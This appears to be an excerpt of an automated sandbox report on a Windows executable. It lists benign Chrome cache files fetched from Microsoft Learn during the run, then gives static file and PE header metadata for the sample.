Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948723114150028
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'904'128 bytes
MD5:	54ea56952815e8d93fcc8d8e4ff07015
SHA1:	fa82fe6a4c32bee4e0076308a54e889ce121752d
SHA256:	56005fa7ccdb8c2849cb8e42d5bb572b9f51469e7ff4886c677364970662eb50
SHA512:	e0f0c76f45f025dcbe03bb51fe83669ee748530039303976a5b81a178a3eca9fd64adcc34a363f881293b84eadeba585da9452b5801514173db1ea971dcf59fe
SSDEEP:	24576:Pm6GS5CiqRymi/8/kCTNXSnUCM0VM5iDxVuLpykrizUEeHaYZgeu/y/7gdegxGtk:PF5C7yITvCI6/KIq6YZv5/Udxct
TLSH:	AB9533E3F6611475C0C9A87A628F074D53E0959AB9821786DF48137FFCEFCA02EE8855
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D...........@K...........@..........................pK...........@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
